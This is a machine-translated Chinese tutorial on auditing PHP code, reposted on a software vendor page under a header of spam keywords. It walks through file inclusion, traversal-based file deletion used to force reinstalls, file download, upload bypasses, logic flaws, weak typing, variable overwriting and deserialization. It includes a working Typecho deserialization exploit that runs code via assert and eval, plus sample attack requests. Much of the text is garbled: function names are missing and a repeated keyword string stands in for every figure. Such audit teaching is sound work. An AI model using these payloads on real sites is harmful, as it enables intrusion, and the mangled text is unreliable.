国产精品高清一区二区三区不卡-国产精品一区二区三区免费视频-日韩免费高清一级毛片-亚洲欧美一区二区三区国产精品-日韩欧美一区二区三区不卡视频-亚欧免费视频一区二区三区-亚洲欧美日韩一区成人-欧美日韩视频综合一区无弹窗-精品日韩在线视频一区二区三区-国内精品视频一区二区三区

你好,歡迎進(jìn)入江蘇優(yōu)軟數(shù)字科技有限公司官網(wǎng)!

誠(chéng)信、勤奮、創(chuàng)新、卓越

友好定價(jià)、專(zhuān)業(yè)客服支持、正版軟件一站式服務(wù)提供

13262879759

工作日:9:00-22:00

實(shí)戰(zhàn)技巧 | 知其代碼方可審計(jì)

發(fā)布時(shí)間:2023-10-31

瀏覽次數(shù):0

ftp:// — 訪問(wèn) FTP URL

php:// — 訪問(wèn)各種輸入/輸出流 (I/O)

zlib:// — 壓縮流

數(shù)據(jù):// — 數(shù)據(jù) (RFC 2397)

glob:// — 查找匹配的文件路徑模式

phar:// — PHP 存檔

ssh2:// — 外殼 2

rar:// — RAR

ogg:// — 音頻流

:// — 處理交互流

網(wǎng)上有很多各種偽協(xié)議的使用方法,請(qǐng)自行搜索。

實(shí)際審計(jì)

直接看首頁(yè)index.php

//單一入口模式error_reporting(0); //關(guān)閉錯(cuò)誤顯示$file=addslashes($_GET['r']); //接收文件名$action=$file==''?'index':$file; //判斷為空或者等于indexinclude('files/'.$action.'.php'); //載入相應(yīng)文件?>

它將包含文件目錄中的文件。 因?yàn)樗贿^(guò)濾../,所以它可以包含任何目錄中的文件。 由于添加了后綴,因此該漏洞存在于較低版本的PHP中。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

0x01 刪除任意文件

一般來(lái)說(shuō),我們?cè)趯徲?jì)任意文件刪除的時(shí)候,都是先搜索函數(shù),然后再回看。

inc\\.php

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

首先判斷傳入?yún)?shù)是否為空,然后進(jìn)行路徑拼接。 第516行出現(xiàn)了一個(gè)函數(shù),我們繼續(xù)跟進(jìn)。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

這只是一個(gè)簡(jiǎn)單的判斷。 沒(méi)有特殊情況。 我們來(lái)看看如何調(diào)用這個(gè)文件。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

function file_path( $path ) {    $list=array();    $path= substr( $path, 0, strrpos( $path, '/' ));    $list=splits($path,'/');    return $list;}
function arr_search($arr1, $arr2 ) { $result=false; foreach ( $arr1 as $v ) { if(in_array( $v,$arr2 )) return true; } return $result;}

獲取參數(shù),然后看我們傳入的路徑是否包含這個(gè)數(shù)組中的值,那就說(shuō)明基本沒(méi)有過(guò)濾,因?yàn)槲覀兛梢酝ㄟ^(guò)../跳回來(lái)。

:

POST?/zzzp6p/admin/save.php?act=delfilepath=/zzzp6p/upload/../install/1install.lock

這里我們走的下面的分支不能刪除 array( 'php', 'db', 'mdb', 'tpl' ) 這個(gè)數(shù)組的文件。

要?jiǎng)h除任何文件只需使用

path=/zzzp6p/runtime/../install/1.db

只要讓 () 為 true 并取上面的分支即可。

一般來(lái)說(shuō),我們通過(guò)刪除任意文件結(jié)合刪除.lock來(lái)實(shí)現(xiàn)網(wǎng)站重裝漏洞。

0x02 任意文件下載

任意文件下載在顯示和下載文件的地方很常見(jiàn)。 一般來(lái)說(shuō),關(guān)注的文件與下載有關(guān),例如。 當(dāng)然,你也可以構(gòu)建源代碼,找到可以下載的地方。

常用下載或讀取函數(shù):()、()、fopen()

在網(wǎng)上找到個(gè)別審核的例子,并結(jié)合起來(lái)進(jìn)行審核。 使用的源代碼是TF8

搜索與down相關(guān)的單詞,找到文件\\\\\\\\down.php

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

讓我們看看 $file 參數(shù)來(lái)自哪里。 首先我們調(diào)用(),去函數(shù)中查看

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

毫不奇怪,路徑應(yīng)該從數(shù)據(jù)庫(kù)中讀取。 我們來(lái)看看()函數(shù)。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

構(gòu)建下載地址沒(méi)有任何問(wèn)題。 我們看看在存儲(chǔ)地址的表中插入了哪些數(shù)據(jù),并搜索表名lyric。

\\\\用戶(hù)\\音樂(lè)\\ajax.php

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

我們看到 $lyric 通過(guò)了。 要清理這兩個(gè)函數(shù),我們首先進(jìn)入函數(shù)。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

我們傳入的模式是get,然后轉(zhuǎn)義()之后,我們就將其替換為空,也就是說(shuō)我們基本上不能使用\\\\。 讓我們來(lái)看看。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

這里的正則表達(dá)式匹配我們的

.\\

?=

.php?

這里完全不明白,匹配的后綴是php? 這有什么意義呢? 只要php就可以繞過(guò)它。

所以總而言之,不要包含 \\ 和 ./。 這里我們只需要傳入絕對(duì)路徑即可。

登錄前臺(tái)找到上傳歌曲的頁(yè)面,插入歌詞地址即可。

:

D:/phpstudy/PHPTutorial/WWW/Ear_Music/template/default/source/down.php

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

0x03 文件上傳

文件上傳只有一個(gè)函數(shù)()。 一般來(lái)說(shuō),我們可以搜索這個(gè)函數(shù)進(jìn)行回溯,看看它的驗(yàn)證方式,是黑名單還是白名單,是不是前端限制,是不是簡(jiǎn)單的驗(yàn)證文件頭,是不是可以繞過(guò)正則匹配,圖像是否被渲染。

結(jié)合審核文件上傳和全局搜索

\\\\inc\\.php

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

回溯一下這個(gè)函數(shù)是在哪里被調(diào)用的

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

使用asa可以繞過(guò)典型的黑名單驗(yàn)證,只需在后臺(tái)添加此擴(kuò)展即可

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

只需上傳即可。 當(dāng)然,你也可以使用上圖中的分支。 只要傳入的類(lèi)型不是他的類(lèi)型,就可以跳過(guò)后臺(tái)添加的步驟。

0x04 文章結(jié)束

文件操作也見(jiàn)于寫(xiě)入其他配置文件,通常是緩存文件寫(xiě)入。

0x06 邏輯漏洞審計(jì) 0x00 簡(jiǎn)介

邏輯漏洞是指由于程序邏輯松散或功能使用不當(dāng)而導(dǎo)致的越權(quán)訪問(wèn)、繞過(guò)、越權(quán)修改密碼、重復(fù)安裝等問(wèn)題。 一般邏輯漏洞的挖掘需要一定的代碼閱讀能力。

0x01 越權(quán)

越權(quán)通常是由于驗(yàn)證不嚴(yán)或沒(méi)有驗(yàn)證造成的。 一般情況下,當(dāng)我們對(duì)后端進(jìn)行審計(jì),發(fā)現(xiàn)某個(gè)功能沒(méi)有包含驗(yàn)證文件時(shí),那么就很有可能發(fā)生權(quán)限越權(quán)的情況。 當(dāng)然,權(quán)限越權(quán)存在很多問(wèn)題,不僅僅局限于一種后端訪問(wèn)。

很多大型網(wǎng)站經(jīng)常會(huì)出現(xiàn)權(quán)限覆蓋的問(wèn)題。 這也是大家在漏洞挖掘中比較喜歡的。 有些覆蓋可能在黑盒測(cè)試中更容易找到,所以靈活地使用代碼審計(jì),不要限制你的想法。

超聲是一個(gè)很大的話題。 我可能不能說(shuō)太多,但我想請(qǐng)大家多看一些文章。

1、后臺(tái)越權(quán):后臺(tái)部分頁(yè)面不引入驗(yàn)證文件

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

比如我們這里在雄海cms中刪除這個(gè)驗(yàn)證,就可以直接訪問(wèn)這個(gè)頁(yè)面了。 許多程序員會(huì)忘記將其添加到每個(gè)頁(yè)面。

2. 橫向未授權(quán)訪問(wèn):用戶(hù)試圖訪問(wèn)與自己具有相同權(quán)限的用戶(hù)的資源。 例如,在沒(méi)有驗(yàn)證權(quán)限的情況下刪除收獲地址會(huì)導(dǎo)致未經(jīng)授權(quán)刪除其他人的地址。

我們用這個(gè)程序來(lái)演示\\form\\index.php

他在這里并沒(méi)有超越他的權(quán)限。 我這里只是解釋一下,簡(jiǎn)單介紹一下如果他越權(quán)了怎么進(jìn)行審計(jì)。 我們看到這段代碼的最后一步是修改我們的uid的當(dāng)前值,而我們的uid是從POST包中獲取的。 也就是說(shuō),如果我們能夠控制uid,那么我們就可以在未經(jīng)許可的情況下修改別人的信息。 但是有一個(gè)驗(yàn)證 $uid !=('uid') and back('抱歉,數(shù)據(jù)修改失敗'); 所以沒(méi)有辦法超越權(quán)限。 為了演示,我們可以將其刪除并看一下。

UID為1的用戶(hù)信息已成功修改。

3. 垂直覆蓋:低級(jí)別用戶(hù)嘗試訪問(wèn)高級(jí)別用戶(hù)的功能。

0x02 驗(yàn)證不嚴(yán)格

這里使用的是雄海CMS。 我們隨意點(diǎn)擊一個(gè)后臺(tái)頁(yè)面,里面有一個(gè)驗(yàn)證文件。

'../inc/.php'; 我們來(lái)看看這個(gè)文件

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

判斷我們的用戶(hù)是否為空。 如果不為空,我們就可以訪問(wèn)后端了。

0x03 安裝程序邏輯問(wèn)題

找了很久源碼,發(fā)現(xiàn)紅日安全已經(jīng)寫(xiě)了一個(gè)——Log1.6,所以這里就用他的源碼。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

這里他判斷是否安裝,然后直接跳轉(zhuǎn)到主頁(yè)。 如果程序不退出,那么后續(xù)的程序仍然可以執(zhí)行,也就是說(shuō)后續(xù)的程序可以直接通過(guò)post方式安裝。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

這種錯(cuò)誤退出導(dǎo)致的漏洞還是蠻多的,大家可以在后臺(tái)等地方密切關(guān)注。

0x04 文章結(jié)束

當(dāng)然,邏輯漏洞不僅限于這些。 還存在繞過(guò)驗(yàn)證碼邏輯、功能缺陷等問(wèn)題。 我建議您閱讀更多其他人的審計(jì)文章。

0x007 函數(shù)或弱類(lèi)型的缺陷和特征 0x00 ()

(,array,type) 如果給定值存在于數(shù)組 array 中,則返回 true。 如果第三個(gè)參數(shù)設(shè)置為 true,則僅當(dāng)該元素存在于數(shù)組中并且具有與給定值相同的數(shù)據(jù)類(lèi)型時(shí),該函數(shù)才返回 true。 如果在數(shù)組中未找到該參數(shù),則該函數(shù)返回 false。

那么為什么會(huì)出現(xiàn)安全問(wèn)題呢? 我們看一下下面的代碼

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

如果不設(shè)置第三個(gè)參數(shù),()函數(shù)會(huì)將1和1=1轉(zhuǎn)換成數(shù)字1進(jìn)行比較。 這會(huì)導(dǎo)致一些安全問(wèn)題,在注入或上傳的情況下可能會(huì)被繞過(guò)。

0x01()

() 函數(shù)將判斷變量是數(shù)字還是數(shù)字串。 如果我們傳入的字符串是十六進(jìn)制,那么它也將被視為數(shù)字。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

我們知道,當(dāng)我們向mysql中插入數(shù)據(jù)時(shí),可以是十六進(jìn)制的。 取出來(lái)后又會(huì)恢復(fù)原來(lái)的字符串。 這樣,使用()函數(shù)檢測(cè)后,就有可能出現(xiàn)二次注入。

0x02 PHP弱類(lèi)型特征

PHP 是一種弱類(lèi)型語(yǔ)言。 使用==比較字符串時(shí),會(huì)將字符串類(lèi)型轉(zhuǎn)為相同類(lèi)型再進(jìn)行比較,這也會(huì)帶來(lái)一些問(wèn)題。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

當(dāng)它在字符串中遇到0e和0x時(shí),就會(huì)解析成相應(yīng)的科學(xué)計(jì)數(shù)法和十六進(jìn)制。

0x03()

當(dāng)case為數(shù)值類(lèi)型時(shí),參數(shù)將轉(zhuǎn)換為int類(lèi)型。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

0x04()

比較函數(shù)如果兩者相等則返回0,>返回>0,否則小于0。在PHP 5.3及更高版本中,當(dāng)()括號(hào)位于數(shù)組和字符串之間時(shí),也會(huì)返回0。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

0x05()

如果在進(jìn)行正則表達(dá)式匹配時(shí)沒(méi)有對(duì)字符串的開(kāi)頭和結(jié)尾(^和$)進(jìn)行限制,則可能會(huì)出現(xiàn)繞過(guò)問(wèn)題。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

0x06 文章結(jié)束

當(dāng)然還有反序列化、變量覆蓋等,這里就不一一寫(xiě)了。 我會(huì)分別寫(xiě)。 還有一些功能特點(diǎn)大家可以自行搜索。

0x008 變量覆蓋率審計(jì) 0x00 簡(jiǎn)介

變量覆蓋,顧名思義,可以覆蓋現(xiàn)有的變量值。 導(dǎo)致變量覆蓋的漏洞包括:

()、()、bles()使用不當(dāng),或者使用了$$或者啟用了全局變量注冊(cè)。

0x01 變量覆蓋演示

()

(array,,)函數(shù)將數(shù)組中的變量導(dǎo)入到當(dāng)前符號(hào)表中,即將數(shù)組中的鍵值對(duì)注冊(cè)為函數(shù),以數(shù)組鍵名作為變量名,以數(shù)組鍵值作為變量值。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

可以看到我們的初始變量值為a,但是覆蓋后它就變成了我們輸入的值。

()

() 函數(shù)用于將查詢(xún)字符串解析為變量。 如果沒(méi)有數(shù)組參數(shù),則該函數(shù)設(shè)置的變量將覆蓋現(xiàn)有的同名變量。 使用不帶數(shù)組參數(shù)的函數(shù),不設(shè)置參數(shù)的行為將在 PHP 7.2 中被棄用。 該函數(shù)沒(méi)有返回值。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

布萊斯()

bles ($types, $) 將 GET/POST/ 變量導(dǎo)入全局范圍。 types參數(shù)指定需要導(dǎo)入的變量。 G代表GET,P代表POST,C代表。 該函數(shù)只能在PHP4.1~PHP5.4中使用。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

$$

一個(gè)典型的例子就是將數(shù)組中的值作為變量進(jìn)行迭代。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

$_key的值為a,則$a的值被覆蓋為2。

還有全局注冊(cè),PHP配置默認(rèn)關(guān)閉。

0x02 實(shí)際審核

這次用的就是cms的可變覆蓋漏洞。 按照主頁(yè)查看核心配置文件。

\\\\.inc.php

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

看該文件的第24行到28行,很明顯使用了我們上面提到的&&變量覆蓋方式,只不過(guò)這里他用了()來(lái)防止注入,不過(guò)并不影響我們本章講的知識(shí)。

只需轉(zhuǎn)到一個(gè)子文件,看看它是如何加載的 \\news\\index.php

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

第7行包含一個(gè)變量,那么這個(gè)變量在哪里呢? 我們來(lái)跟進(jìn)一下。

/.php 查看并在該文件中搜索 $。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

其實(shí)這里低版本的源碼中并不存在$=''這句話; $變量都在$!=7的if條件下。 我給你打包的就是低版本的,我安裝錯(cuò)了。就是說(shuō)只要我們傳入的$的值為7,那么我們就可以覆蓋$的值

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

只需上傳一張圖片或其他文件即可包含它,因?yàn)樗暮缶Y當(dāng)時(shí)尚未確定。

覆蓋變量時(shí),一定要注意初始化值和覆蓋的順序。

0x009 反序列化審計(jì) 0x00 簡(jiǎn)介

PHP 反序列化漏洞。 當(dāng)我們使用()進(jìn)行反序列化時(shí),如果反序列化的對(duì)象中有一些我們可以使用的魔法函數(shù),并且傳入的變量是可控的,那么這個(gè)過(guò)程就可能會(huì)觸發(fā)這個(gè)魔法函數(shù)。 來(lái)執(zhí)行我們想要的過(guò)程。

0x01 初識(shí)反序列化

對(duì)于反序列化,我們需要了解 PHP 類(lèi)和魔術(shù)方法。 這是一個(gè)簡(jiǎn)單的例子。 使用的神奇方法是在銷(xiāo)毀類(lèi)之前執(zhí)行析構(gòu)函數(shù)方法。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

創(chuàng)建對(duì)象時(shí)打印我們的$a變量的值。然后我們改變它的值并使用()來(lái)看看

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

O:4:"test":1:{s:1:"a";s:5:"12345";} 就是我們序列化的值,然后

($_GET['id']); 傳入我們改變的值 O:4:"test":1{s:1:"a";s:3:"404";} 成功打印了我們改變的值,因?yàn)榉葱蛄谢覀兛梢钥刂祁?lèi)屬性和這個(gè)過(guò)程就會(huì)觸發(fā)這些可以觸發(fā)的魔法方法。

您可以在互聯(lián)網(wǎng)上找到一些神奇的方法。 當(dāng)然,也有一些是可以繞過(guò)的。 請(qǐng)搜索他們。 我這里就不詳細(xì)說(shuō)了。 具體情況我會(huì)具體分析。 比較困難的反序列化還是需要很大的耐心才能完成。

__wakeup() //使用unserialize時(shí)觸發(fā)__sleep() //使用serialize時(shí)觸發(fā)__destruct() //對(duì)象被銷(xiāo)毀時(shí)觸發(fā)__call() //在對(duì)象上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā)__callStatic() //在靜態(tài)上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā)__get() //用于從不可訪問(wèn)的屬性讀取數(shù)據(jù)__set() //用于將數(shù)據(jù)寫(xiě)入不可訪問(wèn)的屬性__isset() //在不可訪問(wèn)的屬性上調(diào)用isset()或empty()觸發(fā)__unset() //在不可訪問(wèn)的屬性上使用unset()時(shí)觸發(fā)__toString() //把類(lèi)當(dāng)作字符串使用時(shí)觸發(fā)__invoke() //當(dāng)腳本嘗試將對(duì)象調(diào)用為函數(shù)時(shí)觸發(fā)

0x02 一個(gè)簡(jiǎn)單的問(wèn)題

下面我改寫(xiě)了一個(gè)簡(jiǎn)單的CTF,看看如何使用。


class foo1{ public $varr; function __destruct(){ $this->varr->evaltest(); }}
class foo2{ public $str; function evaltest(){ eval($this->str); }}?>


我們看到eval存在于foo2中的()函數(shù)中,并且在foo1中調(diào)用了()函數(shù)。 我們想知道foo1是否可以調(diào)用foo2中的()函數(shù)并重寫(xiě)其$str中的值。

class foo1{    public $varr;    function __construct(){        $this->varr = new foo2();    }}
class foo2{ public $str; function __construct(){ $this->str = 'phpinfo();'; }}
$obj = new foo1();echo serialize($obj);?>

我們將 $varr 變量分配給 new foo2(),然后它調(diào)用 () 函數(shù),然后我們將 $str 的值更改為我們想要執(zhí)行的命令。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

0x03 實(shí)例審計(jì)

找了半天源碼,覺(jué)得最有意義、審核最多的反序列化漏洞就是.1版本漏洞。 看起來(lái)可能有點(diǎn)困難,所以我會(huì)嘗試更詳細(xì)地分析它。

來(lái)到.php文件

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

我們看到,要繞過(guò).php程序的退出,我們只需要傳入一個(gè)不為空的值,并且是這個(gè)站點(diǎn)的值。

我們來(lái)到核心部分

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

這里調(diào)用了類(lèi)的get方法。 這里我就不跟進(jìn)了。 就是獲取到的字段值,然后將()反序列化,賦值給變量$。 然后我們?nèi)炙阉?,沒(méi)有找到可以使用的魔法方法之類(lèi)的。 觀點(diǎn)。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

然后我們跟進(jìn)這個(gè)類(lèi),看到它傳入了$['']和$['']。

var\\\\Db.php

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

如果你使用 . 將 $ 連接到一個(gè)類(lèi), () 魔術(shù)方法將被觸發(fā)。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

然后全局搜索()看看哪里可以使用,找到\\var\\\\Feed.php。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

如果 $item[''] 是一個(gè)類(lèi)并且是私有或未定義的屬性,則會(huì)自動(dòng)觸發(fā) __get() 。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

然后我們搜索一下是否有__get()可以使用

var\\\\.php中有這么一個(gè)地方

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

我把所有后續(xù)代碼放在一起。 __get 調(diào)用 get() 函數(shù),然后調(diào)用 () 函數(shù)。 還有一個(gè)回調(diào)函數(shù)可以導(dǎo)致命令被執(zhí)行。

()和()的參數(shù)還是可以控制的,這樣我就完成了攻擊鏈的查找。 下面我們來(lái)梳理一下。

攻擊鏈:

install.php        |繞過(guò)程序退出來(lái)到unserialize()        |db.php中__construct() 觸發(fā)__toString()        |Feed.php中__toString觸發(fā)__get()        |request.php中__get()調(diào)用get()->_applyFilter()->回調(diào)函數(shù)


下面我們來(lái)構(gòu)造exp。 為了方便理解,我們可以從頭到尾寫(xiě)下來(lái)。

首先,我們需要 $in 的值是一個(gè)命令函數(shù)。 這里我們一般選擇(),然后我們需要get()中的$value是我們傳入的命令,也就是[''],所以可以這樣構(gòu)造。

class Typecho_Request{    private $_params = array('screenName' =>'eval(\\'phpinfo();exit();\\')');    private $_filter = array('assert');
}

request.php構(gòu)造完了再構(gòu)造Feed.php中需要的值,這里我們要進(jìn)入$item['author']->screenName這個(gè)前面有個(gè)self::RSS2 == $this->_type語(yǔ)句 RSS2= RSS 2.0所以賦值對(duì)應(yīng)的,這里的調(diào)用跟我前面寫(xiě)的那個(gè)CTF類(lèi)似。

class  Typecho_Feed{    private $_type = 'RSS 2.0';    private $_items ;
public function __construct (){ $this->_items[] = array('author' => new Typecho_Request()); }}


最后,當(dāng)我返回.php時(shí),我看到 $db=($[''],$['']); db.php中的()需要傳入2個(gè)值,但默認(rèn)有一個(gè),所以我們傳入一個(gè)像上面我們序列化的值一樣的值就可以了。

:


class Typecho_Request{ private $_params = array('screenName' =>'eval(\\'phpinfo();exit();\\')'); private $_filter = array('assert');
}
class Typecho_Feed{ private $_type = 'RSS 2.0'; private $_items ;
public function __construct (){ $this->_items[] = array('author' => new Typecho_Request()); }}
$payload = array('adapter'=>new Typecho_Feed());echo base64_encode(serialize($payload));?>


為什么();exit();中有exit()? 因?yàn)槌绦蜷_(kāi)始使用()函數(shù)將輸出放入緩沖區(qū)。 觸發(fā)異常后,()會(huì)清空緩沖區(qū),導(dǎo)致沒(méi)有回顯。 所以我們可以找一個(gè)函數(shù)跳出,或者執(zhí)行完后報(bào)錯(cuò)跳出,或者寫(xiě)一句不回顯。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

這種類(lèi)型的反序列化通常很難找到。 我個(gè)人覺(jué)得從兩端向中間查找比較容易,找到可以使用的入口,然后找到可以使用的功能,然后找到一條從入口點(diǎn)到使用點(diǎn)的路。

0x04 文章結(jié)束

反序列化還可以與.php注入等注入結(jié)合起來(lái)。

0x010 閱讀全文審核 0x00 簡(jiǎn)介

閱讀全文后,我建議您開(kāi)始審核一些更容易理解的 CMS。 我們先看一下網(wǎng)站的總體框架。 說(shuō)到這里你大概知道哪些文件夾包含哪些類(lèi)型的文件了。 然后從index.php文件開(kāi)始讀取,重點(diǎn)關(guān)注是否有全局過(guò)濾等。

0x01 實(shí)例審計(jì)

本文使用的源碼是我們通過(guò)這個(gè)程序來(lái)大致了解一下如何通讀全文代碼進(jìn)行審計(jì)。 我們這里只做簡(jiǎn)單的分析,不做深入的審核。

了解網(wǎng)站框架

├─admin             //后臺(tái)├─config            //配置文件├─form              //前臺(tái)├─images            //圖片├─inc               //包含文件├─install           //安裝文件├─js                //js文件├─plugins           //插件├─runtime           //臨時(shí)├─search            //搜索├─template          //模板├─upload            //上傳文件夾└─wap               //手機(jī)

首先我們看到這個(gè)結(jié)構(gòu)。 任何有一點(diǎn)審計(jì)背景或懂一點(diǎn)英語(yǔ)的人都應(yīng)該能夠理解這些目錄的含義。 當(dāng)然,也有一些程序員喜歡不同的命名規(guī)則。 一般情況是這樣的。

了解網(wǎng)站過(guò)濾和路由

我認(rèn)為閱讀全文并不是浪費(fèi)時(shí)間,而是浪費(fèi)時(shí)間。 我們一般應(yīng)該先閱讀它的核心文件,這些文件通常位于文件夾中。 如何找到核心文件通常取決于文件名,例如main.c。 等等,你還可以看看文件大小。 一般來(lái)說(shuō),core文件包含的函數(shù)較多,且比較大。 也可以通過(guò)入口文件一步步看。 例如,這里的核心文件是.php。 我們只關(guān)注先獲取參數(shù)以及是否有全局過(guò)濾器。

我們來(lái)到\\inc\\.php

() 解析網(wǎng)址

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

() 獲取參數(shù)

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

過(guò)濾函數(shù)()但通常過(guò)濾函數(shù)會(huì)包含一些字符如safe或()()

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

了解系統(tǒng)DB類(lèi)

除了這個(gè)文件之外,我們還可以查看mysql db等關(guān)鍵字文件,看看它的數(shù)據(jù)庫(kù)連接方式是否存在寬字節(jié)注入的可能性,以及它的連接方式。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

開(kāi)始審核

讀完這個(gè),我們就可以從index.php中一層一層的讀取了。

轉(zhuǎn)到index.php并直接包含文件inc/.php。 先判斷,后執(zhí)行。

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

見(jiàn)最后一句(G('sid'),G('cid')); 這里調(diào)用了()函數(shù),我們可以跟進(jìn)看一下。

輸入 if 分支

if ( $sid > 0 ) {    $data = db_load_one( 'sort', 'sid=' . $sid );

跟進(jìn)函數(shù)db_load_one()這里會(huì)把傳入的&替換為and

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

跟隨函數(shù)()

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

這里不再贅述,只介紹一下思路。 基本上我確信如果傳入的參數(shù)不經(jīng)過(guò)過(guò)濾的話,這里就會(huì)有注入。

這里如果你跟蹤G(),你會(huì)發(fā)現(xiàn)它是通過(guò)$['sid']獲取的,即前面解析的URL獲取到的值沒(méi)有被過(guò)濾,所以這基本上是一次注入。

讀完這些文件后,我們可以從各個(gè)函數(shù)文件夾的索引中讀取它們。 例如,這里我們來(lái)到\\\\index.php

define('LOCATION', 'search');require dirname(dirname(__FILE__)). '/inc/zzz_client.php';

我們回到剛才跟進(jìn)的文件/inc/.php,搜索關(guān)鍵詞

然后閱讀源碼分析

    case 'search':        $tplfile= TPL_DIR . 'search.html';        break;

看到選擇后,值被賦值給變量$,然后我們正在跟蹤變量在哪里

被稱(chēng)為

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

我找到了解析模板的過(guò)程,然后順著它到了inc\\.php并閱讀下面找到了一個(gè)函數(shù)()

sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤_sublime text 3 函數(shù)追蹤

()函數(shù)獲得過(guò)濾器后,同樣經(jīng)過(guò)()函數(shù)過(guò)濾,但是下面有一個(gè)函數(shù)好像也是獲得參數(shù),不過(guò)這個(gè)使用了函數(shù)isset(),這是一個(gè)檢測(cè)變量的函數(shù)。 如果定義了,那就是true,所以你根本進(jìn)不去這里,否則就是注入了。 當(dāng)然,這也是舊版本的注入。 我這里的版本已經(jīng)修復(fù)了。 接下來(lái)sublime text 3 函數(shù)追蹤,你可以從admin的index.php開(kāi)始閱讀sublime text 3 函數(shù)追蹤,多關(guān)注一些功能點(diǎn)。 建議構(gòu)建它并熟悉整個(gè)程序。

0x02 文章結(jié)束

